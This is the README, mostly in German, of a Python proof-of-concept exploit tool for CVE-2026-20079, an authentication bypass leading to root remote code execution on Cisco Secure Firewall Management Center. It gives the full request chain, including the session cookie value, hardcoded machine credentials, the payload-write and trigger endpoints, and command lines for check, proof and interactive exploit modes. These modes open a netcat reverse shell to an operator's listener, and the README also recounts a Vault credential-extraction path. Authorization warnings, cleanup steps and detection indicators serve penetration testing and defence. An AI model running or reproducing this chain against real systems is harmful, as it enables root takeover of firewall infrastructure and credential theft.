
Implementiert die CVE-2026-20079-Authentifizierungs-Bypass-zu-Root-RCE-Kette gegen Cisco Secure FMC mithilfe von Fingerprint-, Check-, Proof- und interaktiven Exploit-Modi.
Python-Proof-of-Concept für die öffentlich dokumentierte Cisco Secure Firewall Management Center Authentifizierungs-Bypass-zu-Root-RCE-Kette in CVE-2026-20079.
Dabei handelt es sich nicht um eine neue Schwachstelle oder eine unabhängig entwickelte Exploit-Kette. Es handelt sich um eine Clean-Room-Implementierung der von VulnCheck veröffentlichten Request-Sequenz mit separaten Modi für Fingerprint, Check, One-Shot-Proof und interaktiven Exploit.
Python 3.10 oder neuer ist erforderlich. Unter Linux oder macOS:```bash git clone https://github.com/CyberAuth/CVE-2026-20079.git cd CVE-2026-20079 python3 -m venv .venv source .venv/bin/activate python3 -m pip install -r requirements.txt python3 CVE-2026-20079.py --help
## Ersetzen Sie die Beispieladressen
Alle unten angegebenen `192.0.2.x`-Werte sind reservierte Dokumentationsadressen. Sie sind
Platzhalter, keine erkannten Zielinformationen, und müssen durch Werte aus der
autorisierten Bewertung ersetzt werden. Die Befehle funktionieren voraussichtlich nicht
unverändert.
| Beispiel | Bedeutung | Was stattdessen verwenden |
| --- | --- | --- |
| `https://192.0.2.10` | Ziel-FMC-URL | Die exakte autorisierte FMC-Adresse bestehend aus Schema, Adresse und Port |
| `192.0.2.20` | Adresse, zu der sich die FMC zurückverbindet | Die IP-Adresse oder der DNS-Name des Listeners des Betreibers **wie von der FMC aus erreichbar** |
| `192.0.2.0/24` | Beispiel-Fingerprint-CIDR | Ein ausdrücklich autorisierter Netzwerkbereich |
| `4444` | Callback-/Listener-TCP-Port | Ein freigegebener, erreichbarer Port auf dem Callback-System |
| `0.0.0.0` | Wo der Listener auf dem Betreibersystem bindet | Behalten Sie dies bei, um auf allen lokalen Schnittstellen zu lauschen, oder verwenden Sie eine lokale Schnittstellenadresse |
| `192.0.2.10` in `--expected-callback-source` | Erwartete Quelle des Callbacks | Die FMC-Quelladresse, wie vom Listener beobachtet; lassen Sie diese Option weg, wenn NAT sie unsicher macht |
| `http://127.0.0.1:8080` | Optionaler lokaler Abfang-Proxy | Die tatsächlich auf dem Betreibersystem lauschende Proxy-URL |
### Auswählen von `--callback-host`
Verwenden Sie diese Regel: **Aus Sicht der FMC, welche Adresse erreicht den
Listener des Betreibers?** Diese Adresse ist `--callback-host`.
| Netzwerkpfad | Typischer Wert für `--callback-host` |
| --- | --- |
| Betreiber und FMC befinden sich im selben gerouteten Netzwerk | Die erreichbare LAN-Adresse des Betreibersystems (`eth0`, `en0` oder eine andere LAN-Adresse) |
| Der Betreiber erreicht die FMC über ein VPN | Die erreichbare VPN-Schnittstellenadresse, z. B. `tun0` oder `utun`, wenn die FMC eine Route dorthin hat |
| Der Betreiber befindet sich hinter NAT oder einer Firewall | Die öffentliche IP oder der DNS-Name, dessen ausgewählter Port an das Betreibersystem weitergeleitet wird |
| Es wird ein Callback-Tunnel oder eine VPS verwendet | Der erreichbare Tunnelendpunkt oder die VPS-Adresse |
Verwenden Sie nicht `127.0.0.1` oder `0.0.0.0` für `--callback-host`. `127.0.0.1` würde
auf die FMC selbst verweisen, während `0.0.0.0` ein Listener-Bindewert und kein
Ziel ist. Stellen Sie sicher, dass Routing, Firewall-Regeln und jegliche Portweiterleitung
es der FMC ermöglichen, `--callback-host` über `--callback-port` zu erreichen.
`--listen-host` ist nur lokal: Es wählt die Schnittstelle aus, auf der der integrierte
Listener wartet. Seine Vorgabe `0.0.0.0` lauscht auf jeder lokalen Schnittstelle. Es
teilt der FMC nicht mit, wohin sie sich verbinden soll. Daher können sich `--callback-host` und
`--listen-host` unterscheiden, insbesondere bei NAT.
### Praxisbeispiel: Betreiber und FMC im selben Netzwerk
Nehmen Sie dieses fiktive, ausschließlich der Dokumentation dienende Labor an:```text
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
Die Werte werden dem Befehl wie folgt zugeordnet:
--target https://192.0.2.10 identifiziert die zu bewertende FMC.--callback-host 192.0.2.20 ist die eth0-Adresse des Operator-Systems, da die FMC direkt dorthin routen kann.--callback-port 4444 ist der genehmigte TCP-Port, der vom Callback verwendet wird.--listen-host 0.0.0.0 bewirkt, dass der integrierte Listener den Callback auf jeder lokalen Schnittstelle akzeptiert, einschließlich eth0.Ein einmaliger Proof-Befehl für dieses Beispiel wäre:```bash
python3 CVE-2026-20079.py
--proof
--target https://192.0.2.10
--callback-host 192.0.2.20
--callback-port 4444
--listen-host 0.0.0.0
The flow is: the operator sends HTTPS requests to `192.0.2.10`, then the FMC
connects back to the operator's `192.0.2.20:4444`. In a real assessment,
replace both IP addresses and confirm the return route before running the
command. If the FMC cannot reach the operator's `eth0` address, use the
reachable VPN, NAT, tunnel, or VPS address described above instead.
## Modi und Schnellbefehlsreferenz
| Modus | Netzwerk- oder Zielwirkung | Was Erfolg bestätigt |
| --- | --- | --- |
| `--fingerprint` | Nur GET-Anfragen | Eine mögliche FMC-Weboberfläche; keine Bestätigung einer Schwachstelle |
| `--check` | Aktualisiert den serverseitigen Sitzungszustand | Umgehung der Authentifizierung und Zugriff auf ein Aktions-Token |
| `--proof` | Schreibt und führt ein begrenztes Callback-Payload aus | Root-Ausführung plus Bereinigung, ohne interaktive Shell |
| `--exploit` | Schreibt und führt ein FIFO/Netcat-Payload aus | Ein interaktiver Root-Callback oder begrenzte Verifizierung mit `--auto-verify` |
Legen Sie die drei Beispielwerte einmal fest und ersetzen Sie jeweils die autorisierte Zieladresse, die Callback-Adresse des Operators und den Port:```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
Wähle dann genau einen Modus:```bash
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
python3 CVE-2026-20079.py --check --target "$FMC_URL"
python3 CVE-2026-20079.py --proof --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
--auto-verify
> [!IMPORTANT]
> Fingerprinting ist ein heuristischer Schritt zur Produktidentifikation, keine
> Schwachstellenprüfung. `MATCH` und `LIKELY` beweisen nicht, dass das Ziel
> betroffen oder ausnutzbar ist, und `NO_MATCH` schließt FMC nicht aus.
> Reverse-Proxys, angepasste Anmeldeseiten, Zugriffskontrollen, Netzwerkfehler
> oder Produktänderungen können das Ergebnis beeinflussen.
Fingerprinting sendet Netzwerkanfragen, führt jedoch weder den
Authentifizierungs-Bypass noch die RCE-Kette aus. Lesen Sie die
Klassifizierungsdetails, Modusbeschreibungen und die Warnung zum Sitzungszustand unten, bevor Sie `--check`, `--proof` oder `--exploit` verwenden.
> [!WARNING]
> Führen Sie `--check`, `--proof` oder `--exploit` nicht ohne ausdrückliche
> schriftliche Genehmigung aus, die die Zieländerungen und die Nachweismethode
> abdeckt. Lesen Sie zuerst die Voraussetzung, die Einschränkung des Sitzungszustands und die Callback-Anforderungen.
## So funktioniert die Exploit-Kette
Die aktive Kette übergibt `CGISESSID=csm_processes` an `/login.cgi?logon=Continue`, verwendet die veröffentlichten Maschinen-Zugangsdaten `report:snortrules`, extrahiert `sf_action_id` aus `/ui/user/general`, schreibt über `validateLicense` ein Skript im Makeself-Format und löst es über `SF::UI::DataObjectLibrary::upgradeReadinessCall` aus.
## Wichtige Voraussetzung
Eine betroffene Softwareversion ist zum Zeitpunkt des Tests nicht immer ausnutzbar. Die beim Booten erstellte Sitzung `csm_processes` muss noch vorhanden sein. Normale authentifizierte UI-Aktivität und Sitzungsbereinigung können sie entfernen. Starten Sie eine Produktions-FMC nicht nur neu, um diese Voraussetzung zu erfüllen.
## Einschränkung des Sitzungszustands
Die Modi `--check`, `--proof` und `--exploit` führen eine Höherstufung der serverseitigen Sitzung `csm_processes` durch. Der PoC versucht nicht, diese Sitzung in ihren ursprünglichen Teilzustand zurückzuversetzen, da kein vom Hersteller dokumentierter Downgrade-Vorgang verfügbar ist. Das Löschen eines Client-Cookies würde die serverseitige Änderung nicht rückgängig machen, während das Abmelden, das Erzwingen des Ablaufs oder das Löschen des Datenbankeintrags die Sitzung zerstören statt wiederherstellen würde und spätere Validierungen oder das Verhalten des Appliances stören könnte. Die automatischen Bereinigungsfunktionen entfernen nur temporäre RCE-Dateien; sie beanspruchen nicht, den Sitzungszustand wiederherzustellen. `--fingerprint` verwendet oder verändert diese Sitzung nicht.
## Laufzeitvoraussetzungen des Ziels
Beide Callback-Payloads erfordern:
- Eine kompatible `/bin/sh` im POSIX-Stil.
- `rm` und `command`.
- Eines von `nc`, `netcat` oder `ncat`, verfügbar über den Ausführungs-`PATH` des Ziels.
- Ausgehende TCP-Konnektivität von der FMC zur angegebenen Callback-Adresse und zum angegebenen Port.
Der interaktive `--exploit`-Payload erfordert zusätzlich `mkfifo`. Der einmalige `--proof`-Payload erzeugt weder eine FIFO noch eine interaktive Shell.
Der Payload prüft die drei unterstützten Netcat-Befehlsnamen, bevor er seinen Callback versucht. Wenn keiner vorhanden ist, beendet er sich über seine Cleanup-Traps. Da der Fehler innerhalb des blinden serverseitigen Ausführungspfads auftritt, stellt der Tester einen fehlenden Callback fest und keine detaillierte entfernte Fehlermeldung.
`--auto-verify` verwendet die Socket-Bibliothek von Python und benötigt keine lokale
Netcat-Installation. Der manuelle Listener-Modus kann `nc`, `ncat`, `socat` oder
einen anderen vom Bediener gewählten TCP-Listener verwenden.
## FMC-Fingerprinting ausschließlich per GET
Fingerprint für eine URL:```bash
python3 CVE-2026-20079.py \
--fingerprint \
--target https://192.0.2.10
Erstelle einen Fingerprint einer Datei, die pro Zeile eine URL, IP-Adresse, einen Hostnamen oder einen host:port-Wert enthält:```bash
python3 CVE-2026-20079.py
--fingerprint
--targets-file targets.txt
--fingerprint-scheme https
--fingerprint-port 443
--workers 10
Fingerprint eines ausdrücklich autorisierten Netzwerkbereichs:```bash
python3 CVE-2026-20079.py \
--fingerprint \
--network 192.0.2.0/24 \
--fingerprint-scheme https \
--fingerprint-port 443 \
--workers 20 \
--max-hosts 256
This mode is low impact, not literally passive: it sends network requests. Redirects are disabled globally, and the tool follows only an actual HTTP redirect to the exact /ui/login path that remains on the original scheme, host, and port. The login response must be successful (HTTP 2xx) before the tool reports MATCH or LIKELY. It does not attach the exploit cookie, submit credentials, send POST requests, follow external redirects, check a version, or prove CVE-2026-20079. MATCH means branding was observed in a successful response, LIKELY means the successful same-origin login route matched without branding in the raw HTML, and NO_MATCH means the bounded fingerprint did not identify FMC.
Only --fingerprint accepts --targets-file or --network. Check, proof, and exploit modes deliberately remain single-target operations. File and CIDR expansion are deduplicated and bounded by --max-hosts (default 4096), while concurrency is bounded by --workers (default 10, maximum 100).
python3 CVE-2026-20079.py
--target https://192.0.2.10
--check
Erfolg erfordert sowohl das erwartete HTTP-302-Session-Upgrade als auch eine 200-Antwort, die eine sitzungsspezifische `sf_action_id` enthält.
Der PoC hält das vollständige Action-Token für die Anforderungskette im Speicher, gibt aber nur einen verkürzten Fingerprint aus. Behandle rohe Antwortkörper, die das vollständige Token enthalten, als sensible Sitzungsnachweise und veröffentliche sie nicht.
Nach einer erfolgreichen Prüfung bleibt die serverseitige Sitzung erweitert. Das Tool berichtet dies explizit und versucht kein undokumentiertes Rollback.
## Root-Nachweis in einem Schritt
Verwenden Sie dies, wenn ein Nachweis der Root-Ausführung erforderlich ist, eine interaktive Shell jedoch unnötig ist:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--proof \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--expected-callback-source 192.0.2.10
Der Proof-Modus startet immer den integrierten Listener, bevor die Datei-Schreibanfrage gesendet wird. Das Ziel sendet randomisierte Start-/End-Markierungen, id, Hostname, den Namen des Build-Verzeichnisses und den Bereinigungsstatus von /var/tmp/license.tmp und trennt dann die Verbindung. Für den Erfolg sind uid=0(root) und das verifizierte Fehlen des temporären Skripts erforderlich. Es erstellt kein FIFO, legt keinen interaktiven Befehls-Kanal offen und führt keine umgebungsspezifische Post-Exploitation aus.
Starten Sie einen Listener auf dem autorisierten Callback-System:```bash
nc -lvnp 4444
nc -lvn 4444
Führen Sie einen Listener-Befehl aus, der zum Callback-System passt, nicht beide.
Führen Sie dann Folgendes aus:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444
Callback validieren:```bash id hostname -f
The PoC gibt den genauen temporären FIFO-Pfad aus. Entfernen Sie nur diese beiden bekannten Exploit-Artefakte aus der FMC-Shell:```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp
Das PoC kann seinen eigenen Callback-Listener ausführen und automatisch begrenzte Post-Exploitation-Aktionen durchführen:```bash
python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
`--auto-verify` führt über den Callback nur die folgenden Aktionen aus:
1. Führt `id` aus und verlangt `uid=0(root)`.
2. Erfasst `hostname -f` und den Namen des FMC-Build-Verzeichnisses.
3. Entfernt das exakte randomisierte FIFO, das von diesem Lauf erstellt wurde, sowie `/var/tmp/license.tmp`.
4. Verifiziert, dass beide Pfade nicht vorhanden sind.
5. Beendet den Callback.
Das generierte Payload entfernt außerdem `/var/tmp/license.tmp`, sobald die Ausführung beginnt, und installiert Bereinigungshandler für Shell-Exit und Signale für beide temporären Pfade. Die automatische Verifizierung führt weiterhin eine unabhängige, explizite Bereinigung durch und überprüft diese. Wenn ein Schreibversuch unternommen wird, der Callback oder der Bereinigungsnachweis jedoch unvollständig ist, beendet sich der PoC mit einem Exit-Code ungleich Null und gibt die beiden exakten Pfade aus, die eine autorisierte manuelle Überprüfung erfordern können.
Falls sich die Callback-Adresse von der lokalen Bind-Adresse unterscheidet, geben Sie Letztere separat an:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--auto-verify \
--listen-host 0.0.0.0 \
--callback-wait 60
Wenn die Callback-Quelle die FMC-Adresse selbst sein soll und kein Callback-seitiges NAT beteiligt ist, kann der Listener nicht zugehörige Verbindungen ablehnen:```bash
python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
--expected-callback-source 192.0.2.10
Der fehlende Empfang eines Callbacks erlaubt keine Unterscheidung zwischen einem gepatchten Zielsystem, einer fehlenden Boot-Session, blockiertem ausgehendem Datenverkehr, einer nicht verfügbaren/inkompatiblen netcat-Implementierung auf der Zielseite oder einem anderen Laufzeitfehler.
Automatische Vault-Enumeration, Anmeldedaten-Extraktion, Persistenz und laterale Bewegung sind absichtlich ausgeschlossen. Diese Aktivitäten sind nicht erforderlich, um CVE-2026-20079 nachzuweisen, und hängen von umgebungsspezifischer Autorisierung und Konfiguration ab.
## Warum der PoC FIFO/netcat verwendet
Die erste manuelle Reproduktion verwendete einen Bash-`/dev/tcp`-Callback. Beide HTTP-Exploit-Stufen lieferten ihre erwarteten Antworten, aber es kam keine Verbindung an. Das zeigte, warum der HTTP-Status allein kein Ausführungsbeweis ist und warum shellspezifische Callback-Funktionen bei einem Appliance-Gerät nicht vorausgesetzt werden sollten.
Der erfolgreiche erneute Versuch verwendete das in der öffentlichen Forschung dokumentierte FIFO/netcat-Kompatibilitätsmuster. Daher geht dieser PoC direkt zu diesem bewährten Muster über und versucht bewusst nicht erneut die fehlgeschlagene `/dev/tcp`-Methode. Er prüft auf `nc`, `netcat` oder `ncat`, verlangt einen tatsächlichen Callback und `uid=0(root)` im automatischen Modus und liefert einen Nicht-Null-Status, wenn der Callback- oder Aufräumnachweis fehlt. Er kann den genauen Grund für einen blinden Callback-Fehler nicht bestimmen, daher meldet er die plausiblen Laufzeit- und Netzwerkvoraussetzungen, anstatt zu behaupten, das Ziel sei gepatcht.
## Post-Exploitation-Umfang
Dieses Repository automatisiert die CVE von einem nicht authentifizierten Zustand bis zu einem verifizierten Root-Callback und der Bereinigung. Es automatisiert **nicht** die Erfassung von Anmeldedaten, den Export von Geheimnissen oder laterale Bewegung.
Während einer autorisierten Sicherheitsüberprüfung legte die resultierende Root-Shell einen lokal auf der FMC laufenden HashiCorp-Vault-Dienst offen. Ein gerätelokales Vault-Client-Token erlaubte den Zugriff auf einen konfigurierten LDAP-Anmeldedatensatz, und diese Anmeldedaten führten anschließend einen autorisierten LDAPS-Bind aus. Dies ist ein beobachteter Post-Exploitation-Pfad aus einer Umgebung und keine universelle Eigenschaft oder Voraussetzung von CVE-2026-20079.
Siehe [BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) für die persönliche Forschungsgeschichte: den öffentlichen Hintergrund, den manuellen Exploit-Prozess, den fehlgeschlagenen Callback, den erfolgreichen Kompatibilitäts-Payload, den beobachteten Post-Exploitation-Pfad, die gewonnenen Erkenntnisse und die schließliche Entwicklung dieses Tools.
## Optionaler Proxy
Um Anfragen in einem Abfang-Proxy zu beobachten:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--check \
--proxy http://127.0.0.1:8080
HTTP 302 oder HTTP 200 allein belegt keine Root-RCE. Betrachten Sie das Problem wie folgt:
--fingerprint das eingeschränkte Login-Verhalten oder das Branding beobachtet; dies ist für sich genommen kein Schwachstellenbefund.sf_action_id liefert.id uid=0(root) meldet.Der integrierte Listener verwendet pro Lauf zufällige Verifizierungsmarker, begrenzt die erfasste Callback-Ausgabe, filtert optional die Callback-Quelle und gibt einen Status ungleich Null zurück, wenn Root oder Cleanup nicht verifiziert werden können. Der manuelle Listener-Modus kann diese Bedingungen gegenüber dem Python-Prozess nicht belegen; sein erfolgreicher Abschluss bedeutet, dass die HTTP-Kette übermittelt wurde, nicht dass die Root-Ausführung unabhängig beobachtet wurde.
0: Das Fingerprinting wurde mit mindestens einem fehlerfreien Ergebnis abgeschlossen; --check hat den Authentifizierungs-Bypass bestätigt; --proof oder --auto-verify haben Root und Cleanup bestätigt; oder der manuelle Listener-Modus hat die erwartete HTTP-Kette erfolgreich übermittelt.1: Die Antwort des Ziels entsprach keiner erwarteten Antwort, der Callback-/Root-/Cleanup-Nachweis schlug fehl, oder ein Anfrage-/Listener-Fehler trat auf.2: Ungültige Befehlszeilenargumente.130: Durch den Operator unterbrochen. Falls das Schreiben eines Payloads versucht wurde, gibt das Tool zusätzlich die genauen Pfade aus, deren Cleanup unverifiziert bleibt./login.cgi?logon=Continue unter Verwendung des csm_processes-Cookies und des Maschinenbenutzers report./ui/user/general unmittelbar nach dem Session-Upgrade.validateLicense-Anfragen an /sajaxintf.cgi?rs=callServerFunc.SF::UI::DataObjectLibrary::upgradeReadinessCall, übermittelt an /pjb.cgi./var/tmp/license.tmp mit einem Makeself-Marker./tmp, eine interaktive /bin/sh, nc und unerwarteter ausgehender Datenverkehr von FMC.Die Schnellinstallation installiert die Laufzeitabhängigkeit aus requirements.txt in eine
isolierte virtuelle Umgebung. Führen Sie die Standardbibliotheks-Unit-Tests und die
lokalen Mock-Integrationstests aus, ohne ein öffentliches Ziel zu kontaktieren:```bash
python3 -m unittest discover -s tests -v
## References
- [Cisco advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [VulnCheck technical analysis](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)
## Legal
Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
Dieser Proof of Concept kann den serverseitigen Session-Zustand verändern und Befehle
als Root ausführen. Sie sind dafür verantwortlich, eine Genehmigung einzuholen, einen sicheren
Umfang und eine sichere Nachweisgrenze zu definieren, gesammelte Beweise zu schützen und geltende
Gesetze, Verträge sowie Hersteller- oder Programmregeln einzuhalten. Die Autoren und
Mitwirkenden autorisieren keinen illegalen Zugriff, keine Störung und keine Datenerfassung.
Die Software wird "wie besehen" ohne Gewährleistung bereitgestellt, und die Autoren und
Rechteinhaber lehnen die Haftung im gesetzlich zulässigen Umfang ab.
Die vollständigen Bedingungen finden Sie in der [MIT-Lizenz](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE). Dieser Hinweis zur Nutzung
ändert oder beschränkt die Lizenz nicht.